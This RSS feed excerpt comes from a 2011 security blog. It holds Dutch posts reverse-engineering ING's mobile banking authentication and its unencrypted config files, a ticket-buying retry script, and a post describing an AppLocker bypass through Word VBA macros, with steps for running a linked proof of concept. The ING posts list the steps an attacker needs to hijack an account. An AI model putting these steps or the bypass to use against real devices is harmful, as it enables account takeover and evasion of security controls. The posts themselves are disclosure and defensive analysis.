		<title>ING mobiel bankieren iPhone app</title>
		<link>http://www.mountknowledge.nl/2011/11/18/ing-mobiel-bankieren-iphone-app/</link>
		<comments>http://www.mountknowledge.nl/2011/11/18/ing-mobiel-bankieren-iphone-app/#comments</comments>
		<pubDate>Fri, 18 Nov 2011 21:06:22 +0000</pubDate>
		<dc:creator>Richard</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mountknowledge.nl/?p=167</guid>
		<description><![CDATA[De ING Mobiel Bankieren iPhone app slaat slechts 1 configuratie bestand op: nl.ing.iphone.app.Bankieren.plist. Na het installeren bestaat het bestand nog niet, het wordt aangemaakt bij het koppelen van een ING rekening aan de app. Daarna bevat het de volgende gegevens: { clientKeyPairTagPrefix = "com.ing.nl.iMB"; encryptedClientPrivateKey = &#60;xxxxxxxx xxxxxxxx ... xxxxxxxx&#62;; profileId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"; serverPublicEncryptionKeyTag = [...]]]></description>
			<content:encoded><![CDATA[<p>De ING Mobiel Bankieren <a href="http://itunes.apple.com/nl/app/ing-bankieren/id474495017">iPhone app</a> slaat slechts 1 configuratie bestand op: nl.ing.iphone.app.Bankieren.plist. Na het installeren bestaat het bestand nog niet, het wordt aangemaakt bij het koppelen van een ING rekening aan de app. Daarna bevat het de volgende gegevens:</p>
<p><span id="more-167"></span><code>{<br />
clientKeyPairTagPrefix = "com.ing.nl.iMB";<br />
encryptedClientPrivateKey = &lt;xxxxxxxx xxxxxxxx ... xxxxxxxx&gt;;<br />
profileId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx";<br />
serverPublicEncryptionKeyTag = "com.ing.nl.server.encrypt";<br />
serverPublicVerificationKeyTag = "com.ing.nl.server.verify";<br />
stage = 2;<br />
}</code></p>
<p>Dit bevestigt <a href="http://www.mountknowledge.nl/2011/11/09/ing-mobiel-bankieren-authenticatie/">mijn vermoeden</a> dat de applicatie public/private key cryptografie gebruikt. Wat wel  opvalt is dat het configuratie bestand niet is beschermd of versleuteld.  Als een iPhone proces root rechten heeft kan het dit bestand gewoon  lezen en de gegevens kopiëren. Om root rechten te krijg op een iOS device moet het device jailbroken zijn, of een aanvaller moet gebruik maken van een exploit zoals bijvoorbeeld <a href="http://jailbreakme.com/">jailbreakme.com</a> deed.</p>
<p>Als de encryptedClientPrivateKey of het profileId wordt veranderd gaat de authenticatie al meteen mis als de optie Rekeningen wordt gekozen. De eerste handshake loopt stuk, nog voordat de pincode ingevoerd hoeft te worden. Ik heb geprobeerd om het nl.ing.iphone.app.Bankieren.plist bestand van een iPhone 4S te kopiëren naar een iPhone 3GS. Daarmee gaat de eerste handshake goed. Maar na het invoeren van de correcte pincode geeft de applicatie aan dat de pincode onjuist is. Kennelijk wordt in deze stap niet alleen de pincode uitgewisseld, maar ook een <a href="http://developer.apple.com/library/ios/#documentation/uikit/reference/UIDevice_Class/DeprecationAppendix/AppendixADeprecatedAPI.html#//apple_ref/occ/instp/UIDevice/uniqueIdentifier">uniek device id</a>. Daarmee wordt het lastiger voor een aanvaller om misbruik te maken van de ING applicatie. Het volgende is nodig:</p>
<ol>
<li>De inhoud van nl.ing.iphone.app.Bankieren.plist, via een jailbreak of root exploit</li>
<li>Het device id. Dit kan via een applicatie die vanuit de appstore moet worden geïnstalleerd, maar aangezien er al root access nodig is voor stap 1, is dat de meeste logische manier om aan het device id te komen.</li>
<li>De pincode. Dit kan bijvoorbeeld door de ING applicatie te vervangen door een phishing applicatie. Hiervoor moet de iPhone wel jailbroken zijn, anders kan de phishing applicatie niet worden uitgevoerd.</li>
<li>Een aangepaste ING Mobiel Bankieren applicatie die het gestolen device id gebruikt ipv het device id van de iPhone waar het op draait. Deze kan vanuit een emulator worden gedraaid, of zelfs op een niet-iOS device als het authenticatie protocol bij de aanvaller bekend is, en is nagemaakt.</li>
</ol>
<p>Het advies is om ING Mobiel Bankieren niet te draaien op een jailbroken iPhone of iPad. Dit is namelijk de eerste stap die nodig is om misbruik te maken van deze applicatie. Op een niet-jailbroken iOS device die de laatste iOS versie draait is het voor een aanvaller heel lastig om de nl.ing.iphone.app.Bankieren.plist te stelen. Als er een methode bekend wordt om vanuit userland root te krijgen (zoals via <a href="http://jailbreakme.com/">jailbreakme.com</a>) zal dit veel publiciteit krijgen, en zal Apple een nieuwe iOS versie uitbrengen die het lek verhelpt.</p>
<p>Bij verlies van de iPhone of iPad moet meteen ING op de hoogte worden gesteld. Een kwaadwillende zou eventueel via USB een jailbreak kunnen uitvoeren en zo de benodigde informatie kunnen achterhalen. Voorwaarde is dan wel dat hij de pincode al weet.</p>
<p>Deze beveiliging is vergelijkbaar met de <a href="http://www.mountknowledge.nl/2011/11/13/ing-mobiel-bankieren-android-app/">Android app</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mountknowledge.nl/2011/11/18/ing-mobiel-bankieren-iphone-app/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How I got my #28c3 tickets @ccc today</title>
		<link>http://www.mountknowledge.nl/2011/11/14/how-i-got-my-28c3-tickets-today/</link>
		<comments>http://www.mountknowledge.nl/2011/11/14/how-i-got-my-28c3-tickets-today/#comments</comments>
		<pubDate>Mon, 14 Nov 2011 20:01:35 +0000</pubDate>
		<dc:creator>Richard</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mountknowledge.nl/?p=143</guid>
		<description><![CDATA[I preloaded my account with the tickets I needed, then at 15:59 I started this script: #!/bin/bash while [ 1 ]; do wget -q -T 10 -O out --load-cookies=cookie -U "`cat ua`" --post-file=postdata --no-check-certificate https://presale.events.ccc.de/order/confirm if [ -s out ]; then grep -q "Confirm Order" out &#124;&#124; exit fi rm -f out sleep 1 echo [...]]]></description>
			<content:encoded><![CDATA[<p>I preloaded my account with the tickets I needed, then at 15:59 I started this script:</p>
<p><span id="more-143"></span><br />
<code>#!/bin/bash</code></p>
<p><code> </code></p>
<p><code>while [ 1 ]; do<br />
wget -q -T 10 -O out --load-cookies=cookie  -U "`cat ua`" --post-file=postdata --no-check-certificate https://presale.events.ccc.de/order/confirm<br />
if [ -s out ]; then<br />
grep -q "Confirm Order" out || exit<br />
fi<br />
rm -f out<br />
sleep 1<br />
echo Retrying...<br />
done<br />
</code></p>
<p>The script succeeded at 16:15. <img src='http://www.mountknowledge.nl/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.mountknowledge.nl/2011/11/14/how-i-got-my-28c3-tickets-today/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ING mobiel bankieren Android app</title>
		<link>http://www.mountknowledge.nl/2011/11/13/ing-mobiel-bankieren-android-app/</link>
		<comments>http://www.mountknowledge.nl/2011/11/13/ing-mobiel-bankieren-android-app/#comments</comments>
		<pubDate>Sun, 13 Nov 2011 16:33:57 +0000</pubDate>
		<dc:creator>Richard</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mountknowledge.nl/?p=133</guid>
		<description><![CDATA[De ING Mobiel Bankieren Android app slaat slechts 1 configuratie bestand op: IngMobilePrefs.xml. Na het installeren is dit bestand vrij leeg, maar na het koppelen van een ING rekening aan de app bevat IngMobilePrefs.xml de volgende gegevens: &#60;?xml version='1.0' encoding='utf-8' standalone='yes' ?&#62; &#60;map&#62; &#60;int name="STAGE" value="3" /&#62; &#60;string name="RIGHT_PAD"&#62;xxxxxxxxxxxxxxxxxxxx&#60;/string&#62; &#60;string name="PROFILE_ID"&#62;xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx&#60;/string&#62; &#60;string name="LEFT_PAD"&#62;xxxxxxxxxxxxxxxxxxxx&#60;/string&#62; &#60;string name="PRIVATE_KEY"&#62;xxxxxxx...&#60;/string&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>De ING Mobiel Bankieren <a href="http://market.android.com/details?id=com.ing.mobile">Android app</a> slaat slechts 1 configuratie bestand op: IngMobilePrefs.xml. Na het installeren is dit bestand vrij leeg, maar na het koppelen van een ING rekening aan de app bevat IngMobilePrefs.xml de volgende gegevens:</p>
<p><span id="more-133"></span><code>&lt;?xml version='1.0' encoding='utf-8' standalone='yes' ?&gt;<br />
&lt;map&gt;<br />
&lt;int name="STAGE" value="3" /&gt;<br />
&lt;string name="RIGHT_PAD"&gt;xxxxxxxxxxxxxxxxxxxx&lt;/string&gt;<br />
&lt;string name="PROFILE_ID"&gt;xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx&lt;/string&gt;<br />
&lt;string name="LEFT_PAD"&gt;xxxxxxxxxxxxxxxxxxxx&lt;/string&gt;<br />
&lt;string name="PRIVATE_KEY"&gt;xxxxxxx...&lt;/string&gt;<br />
&lt;string name="PUBLIC_KEY"&gt;xxxxxx...|010001&lt;/string&gt;<br />
&lt;/map&gt;</code></p>
<p>Dit bevestigt <a href="http://www.mountknowledge.nl/2011/11/09/ing-mobiel-bankieren-authenticatie/">mijn vermoeden</a> dat de applicatie public/private key cryptografie gebruikt. Wat wel opvalt is dat het configuratie bestand niet is beschermd of versleuteld. Als een Android proces root rechten heeft kan het dit bestand gewoon lezen en de gegevens kopiëren.</p>
<p>In de <a href="http://www.mountknowledge.nl/2011/11/18/ing-mobiel-bankieren-iphone-app/">iOS app</a> wordt bij de pincode controle een uniek device id gebruikt. De source code van de Android app doet vermoeden dat dit ook hier <a href="http://developer.android.com/reference/android/telephony/TelephonyManager.html#getDeviceId%28%29">het geval is</a>.</p>
<p>Als een aanvaller zich via de ING mobiel bankieren toegang wil verschaffen tot de rekening van een ander, heeft deze tenminste nodig:</p>
<ol>
<li>De inhoud van IngMobilePrefs.xml, via sudo (op een geroot device) of root exploit</li>
<li>Het device id. Dit kan via een applicatie die vanuit de market  moet worden geïnstalleerd, maar aangezien er al root access nodig is  voor stap 1, is dat de meeste logische manier om aan het device id te  komen.</li>
<li>De pincode. Dit kan bijvoorbeeld door de ING applicatie te vervangen  door een phishing applicatie. Die kan bij Android op verschillende methoden worden geïnstalleerd.</li>
<li>Een aangepaste ING Mobiel Bankieren applicatie die het gestolen  device id gebruikt ipv het device id van het Android device waar het op draait.  Deze kan vanuit een emulator worden gedraaid, of zelfs op een niet-Android  device als het authenticatie protocol bij de aanvaller bekend is, en is  nagemaakt.</li>
</ol>
<p>Het advies is om ING Mobiel Bankieren niet te draaien op een rooted Android device. Dit is namelijk de eerste stap die nodig is  om misbruik te maken van deze applicatie. Op een niet-rooted Android  device die de laatste Android versie draait is het voor een aanvaller heel  lastig om de IngMobilePrefs.xml te stelen. Ook moet de <em>Instellingen -&gt; Toepassingen -&gt; Onbekende bronnen</em> zoveel mogelijk uit blijven staan om te voorkomen dat er niet-Market applicaties op het device worden geïnstalleerd.  Ook <em>Instellingen -&gt; Toepassingen -&gt; Ontwikkeling -&gt; USB-foutopsporing</em> moet uit staan. Deze instelling is vaak een vereiste voor het rooten.</p>
<p>Bij verlies van de iPhone of iPad moet  meteen ING op de hoogte worden gesteld. Een kwaadwillende zou eventueel via  USB het device kunnen rooten en zo de benodigde informatie kunnen  achterhalen. Voorwaarde is dan wel dat hij de pincode al weet.</p>
<p>Deze  beveiliging is vergelijkbaar met de <a href="http://www.mountknowledge.nl/2011/11/18/ing-mobiel-bankieren-iphone-app/">iPhone/iPad app</a>.</p>
<p><strong>Update 2011/11/18: </strong>informatie over deviceId toegevoegd</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mountknowledge.nl/2011/11/13/ing-mobiel-bankieren-android-app/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ING mobiel bankieren authenticatie</title>
		<link>http://www.mountknowledge.nl/2011/11/09/ing-mobiel-bankieren-authenticatie/</link>
		<comments>http://www.mountknowledge.nl/2011/11/09/ing-mobiel-bankieren-authenticatie/#comments</comments>
		<pubDate>Wed, 09 Nov 2011 22:21:17 +0000</pubDate>
		<dc:creator>Richard</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mountknowledge.nl/?p=119</guid>
		<description><![CDATA[Op 8 november 2011 introduceerde ING mobiel bankieren. Met een speciale ING Bankieren app kan een Mijn ING account gekoppeld worden aan een smartphone of tablet. Tijdens dit proces wordt een 5-cijferige pin code gekozen die daarna (samen met het device) genoeg is om de rekeningen in te zien, en geld over te maken. De [...]]]></description>
			<content:encoded><![CDATA[<p>Op 8 november 2011 introduceerde ING <a href="http://www.ing.nl/mobiel">mobiel bankieren</a>. Met een speciale ING Bankieren app kan een Mijn ING account gekoppeld worden aan een smartphone of tablet. Tijdens dit proces wordt een 5-cijferige pin code gekozen die daarna (samen met het device) genoeg is om de rekeningen in te zien, en geld over te maken.</p>
<p style="text-align: center;"><span id="more-119"></span><a href="http://www.mountknowledge.nl/wp-content/uploads/2011/11/IMG_0001.png"><img class="size-full wp-image-148 alignnone" title="IMG_0001" src="http://www.mountknowledge.nl/wp-content/uploads/2011/11/IMG_0001.png" alt="" width="160" height="240" /></a><a href="http://www.mountknowledge.nl/wp-content/uploads/2011/11/IMG_0002.png"><img class="alignnone size-full wp-image-152" title="IMG_0002" src="http://www.mountknowledge.nl/wp-content/uploads/2011/11/IMG_0002.png" alt="" width="160" height="240" /></a></p>
<ol>
<li>De app vraagt om het invullen van de gegevens van de bankpas. Hierna wordt een verbinding gemaakt naar URL https://services.ing.nl/mb/registration/registerProfile waarbij de volgende POST variabelen worden meegegeven:
<ol>
<li>deviceType: iPhone 4S</li>
<li>profileId: GUID die de app op dit device identificeert</li>
<li>encSymmetricKey: 512 character hex string</li>
<li>deviceBrand: Apple</li>
<li>publicKey: 256 character hex string met daarachter 5 (controle?) bits</li>
<li>osVersion: iOS version</li>
<li>deviceTag: naam die de gebruiker aan het device heeft gegeven (Richard&#8217;s iPhone)</li>
</ol>
<p>De server antwoordt hierop met een JSON data structuur die oa een sessiesleutel en een signature bevat. Het doorgeven van een publicKey duidt op het genereren van een public/private key paar op het device. De private key blijft op het device staan, de public key slaat ING centraal op zodat in de toekomst het device hiermee kan worden geauthenticeerd.</li>
<li>De volgende POST is naar https://services.ing.nl/mb/registration/proveIdentity waarbij de variabelen debitCardExpirationMonth, debitCardCode, accountNumber en dateOfBirth meteen al versleuteld worden verstuurd. Er wordt dus niet vertrouwd op de SSL encryptie, maar men past binnen SSL een eigen encryptie toe op de waarden van de variabelen. De server stuurt een JSON antwoord met een versleutelde apiResponse.
<p style="text-align: center;"><a href="http://www.mountknowledge.nl/wp-content/uploads/2011/11/IMG_0005.png"><img class="aligncenter size-full wp-image-159" title="IMG_0005" src="http://www.mountknowledge.nl/wp-content/uploads/2011/11/IMG_0005.png" alt="" width="160" height="240" /></a><a href="http://www.mountknowledge.nl/wp-content/uploads/2011/11/IMG_0006.png"><img class="aligncenter size-full wp-image-160" title="IMG_0006" src="http://www.mountknowledge.nl/wp-content/uploads/2011/11/IMG_0006.png" alt="" width="160" height="240" /></a></p>
</li>
<li>De gebruiker moet vervolgens met een webbrowser inloggen op mijn.ing.nl en krijgt na het invoeren van een TAN code een controle getal te zien. Dit getal moet worden ingevoerd in de app op het mobiele device. De app vraagt dan https://services.ing.nl/mb/authentication/getVariables op, waarbij de profileId GUID wordt meegegeven. Het antwoord is een JSON structuur met oa srpSalt en serverSrpKey variabelen. Dit duidt op het gebruik van het <a href="http://en.wikipedia.org/wiki/Secure_remote_password_protocol">Secure Remote Password protocol</a>. Hiermee kan een geheime sleutel worden afgesproken zonder dat een eventuele afluisteraar deze te weten komt. Dit vindt dus plaats binnen het SSL protocol dat ook al (enigszins) tegen afluisteren is beveiligd. Het controle getal wordt vervolgens versleuteld verstuurd naar https://services.ing.nl/mb/authentication/checkActivationCode</li>
<li>De gebruiker moet in de app de voorwaarden accepteren. Er wordt een hash van de voorwaarden verstuurd naar https://services.ing.nl/mb/authentication/acceptTerms.</li>
<li>De gebruiker moet nu een 5-cijferige PIN code kiezen voor beveiliging van de app. Deze code wordt versleuteld verstuurd naar https://services.ing.nl/mb/authentication/registerPin. Vervolgens worden er een aantal sleutels opgevraagd via https://services.ing.nl/mb/authentication/getSymmetricKey en https://services.ing.nl/mb/authentication/getSessionKey.
<p style="text-align: center;"><a href="http://www.mountknowledge.nl/wp-content/uploads/2011/11/IMG_0007.png"><img class="aligncenter size-full wp-image-164" title="IMG_0007" src="http://www.mountknowledge.nl/wp-content/uploads/2011/11/IMG_0007.png" alt="" width="160" height="240" /></a></p>
</li>
<li>Nu de registratie is geslaagd, wordt bij elk volgend gebruik van de app alleen de PIN code gevraagd. Nog voordat die wordt ingevoerd wordt /mb/authentication/getVariables al opgevraagd om het SRP protocol te starten. De PIN wordt daarna versleuteld verstuurd aan /mb/authentication/checkPin waarna weer /mb/authentication/getSymmetricKey en /mb/authentication/getSessionKey worden opgevraagd.</li>
</ol>
<p>Het authenticatie protocol ziet er goed doordacht uit. Er wordt niet vertrouwd op SSL of TLS. In plaats daarvan gebruikt ING een extra encryptielaag waarvoor het wachtwoord wordt afgesproken via het SRP protocol. Ook genereert elk mobiel device een eigen profileId en een public/private sleutelpaar.</p>
<p>Toch had ik had graag gezien dat de app de uitgever van het SSL certificaat van services.ing.nl had gecontroleerd. Dan was het voor mij (en een eventuele aanvaller) veel moeilijker geweest het protocol te achterhalen. Google Chrome doet dit bijvoorbeeld voor mail.google.com waardoor de man-in-the-middle aanval in Iran en de Diginotar hack <a href="http://www.google.com/support/forum/p/gmail/thread?tid=2da6158b094b225a">werd ontdekt</a>.</p>
<p>Als de registratie eenmaal is gedaan lijkt me dit protocol vrij robuust, ervan uitgaande dat de encryptie sterk is en goed is geïmplementeerd. De grootste kwetsbaarheid zit hem in het registratieproces. Als er tijdens dit proces iemand tussen het mobiele device en de services.ing.nl server in zit (man-in-the-middle), dan is het theoretisch mogelijk om het registratieproces te kapen, en namens de gebruiker de registratie te voltooien. Een aanvaller moet dan wel het hele registratieprotocol inclusief encryptie reverse engineeren en live na weten te bootsen. Ook is een vals SSL certificaat voor services.ing.nl nodig. Deze factoren maken het niet gemakkelijk of zelfs waarschijnlijk dat iemand een man-in-the-middle aanval op een gemiddelde ING klant weet uit te voeren tijdens het registratieproces.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mountknowledge.nl/2011/11/09/ing-mobiel-bankieren-authenticatie/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Bypassing Windows AppLocker using VB script in Word and Excel</title>
		<link>http://www.mountknowledge.nl/2011/01/28/bypassing-windows-applocker-using-vb-script-in-word-and-excel/</link>
		<comments>http://www.mountknowledge.nl/2011/01/28/bypassing-windows-applocker-using-vb-script-in-word-and-excel/#comments</comments>
		<pubDate>Fri, 28 Jan 2011 22:52:06 +0000</pubDate>
		<dc:creator>Richard</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mountknowledge.nl/?p=105</guid>
		<description><![CDATA[This week started out good. While I was looking into the usefulness of Windows AppLocker Belgian security researcher Didier Steven posted a blog entry explaining that he found a way to load DLLs that are not permitted by AppLocker. An anonymous comment pointed out an even bigger issue: starting new processes (=programs) that are not [...]]]></description>
			<content:encoded><![CDATA[<p>This week started out good. While I was looking into the usefulness of <a href="http://www.microsoft.com/windows/enterprise/products/windows-7/features.aspx#applocker">Windows AppLocker</a> Belgian security researcher Didier Steven posted a <a href="http://blog.didierstevens.com/2011/01/24/circumventing-srp-and-applocker-by-design/">blog entry</a> explaining that he found a way to load DLLs that are not permitted by AppLocker. An anonymous comment pointed out an even bigger issue: <a href="http://blog.didierstevens.com/2011/01/25/circumventing-srp-and-applocker-to-create-a-new-process-by-design/">starting new processes</a> (=programs) that are not permitted by AppLocker.<span id="more-105"></span></p>
<p>Before you think these are l33t hacks that will be fixed soon, read those blog entries. It is all by design. Apparently one challenge Microsoft faced when designing AppLocker was the installation of new software. The default AppLocker rules allow users to run Windows installer files. (I don&#8217;t quite get what the point of using a whitelist is when users are still allowed to install new programs.) This poses an potential deadlock. Installer (msi) files often contain executables and DLLs that are placed in a temporary location and then executed during the installation process. Adding the %TEMP% directory to the AppLocker whitelist would be insecure. So Microsoft designed 2 special API flags for this case: LOAD_IGNORE_CODE_AUTHZ_LEVEL for LoadLibraryEx() to load DLLs and SANDBOX_INERT for CreateRestrictedToken() to load executables. With these flags set, AppLocker will not block the DLLs and executables, ever.</p>
<p>The problem with this design is that not only windows installer files can set these flags. Every single process with access to the Windows API can. This includes whitelisted applications, shellcode injected into a running process by an exploit, or (whitelisted) scripting languages. While allowing Perl or Python on a locked down Windows system is probably not a good idea, <a href="http://en.wikipedia.org/wiki/Visual_Basic_for_Applications">Visual Basic for Applications</a> is something most power users can&#8217;t do without. This means that from within Microsoft Office applications like Word and Excel, the AppLocker restrictions are easily bypassed.</p>
<p>I have written a <a href="http://www.mountknowledge.nl/wp-content/uploads/2011/01/runexe.txt">proof of concept</a> macro that allows you to select the full path to an executable which will be executed bypassing all AppLocker restrictions. The macro is just a translation to VB of the <a href="http://blog.didierstevens.com/2011/01/25/circumventing-srp-and-applocker-to-create-a-new-process-by-design/">C code</a> written by Didier Stevens, so all the credit goes to him. This was my first ever Visual Basic script which shows how easy it is to write this bypass with all the needed information already out in the open.</p>
<p>To test this code:</p>
<ol>
<li> In an MS Word document, type in the path to an executable that is not allowed by SRP/AppLocker. For example: C:\test.exe</li>
<li>Select the text you just typed, in this example select &#8220;C:\test.exe&#8221; without the newline</li>
<li>Press Alt+F11 (brings up VBA editor)</li>
<li>Right mouse button on &#8220;Normal&#8221; -&gt; Insert -&gt; Module</li>
<li>Paste the content of runexe.txt into the new module</li>
<li>Place the cursor inside the Sub RunExe()</li>
<li>Press F5 (runs macro)</li>
</ol>
<p>I have submitted the code to Microsoft, asking them to fix this by adding a control mechanism for using the LOAD_IGNORE_CODE_AUTHZ_LEVEL and SANDBOX_INERT flags. A new registry key (disabling the use completely) or linking them to a specific AppLocker rule (only allowing the use when a certain AppLocker rule is matched) would do nicely.</p>
<p><strong>Update: </strong><a href="http://support.microsoft.com/kb/2532445">hotfix KB2532445</a> fixes this issue (MS internal fix was KB370118). Is was released on November 9th, 2011.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mountknowledge.nl/2011/01/28/bypassing-windows-applocker-using-vb-script-in-word-and-excel/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

